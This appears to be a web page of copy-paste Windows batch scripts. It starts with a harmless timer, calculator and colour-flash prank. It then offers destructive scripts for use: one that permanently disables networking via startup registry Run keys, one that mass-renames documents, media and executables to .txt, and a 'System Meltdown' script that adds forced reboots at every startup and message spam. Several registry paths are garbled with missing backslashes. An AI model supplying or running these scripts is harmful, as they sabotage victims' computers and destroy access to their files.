Here you can find other codes !!!
30 sec Timer
@echo off
for /L %%A in (30,-1,0) do (
echo %%A
ping localhost -n 2 >nul
)
pause
Save it as Anything.bat
Cmd Calculator
@echo off
title Calc
:loop
cls
set /p first=First number:
echo.
echo Mark ( + - * / )
set /p mark=Mark:
echo.
set /p second=Second number:
set /a final=%first%%mark%%second%
echo.
echo %final%
pause
goto loop
Save it as Anything.bat
Disco !!!
@echo off
:S
echo #
echo # #
echo # #
echo # #
echo # DISCO! #
echo # #
echo # #
echo # #
echo # #
echo #
color 12
color 23
color 45
color 67
color 89
color 91
color 37
color 42
color 43
color 51
color 15
color 42
color 2
color 3
color 34
goto s
save it as Anything.bat
Disable Internet
Disable internet permanently
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
Save it as Hinternet.bat
TXT Files
Change files to non-working TXT files
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
save it as Anything.bat
Crash
System Meltdown
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED *****
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
PAUSE
PAUSE
Save it as Anything.bat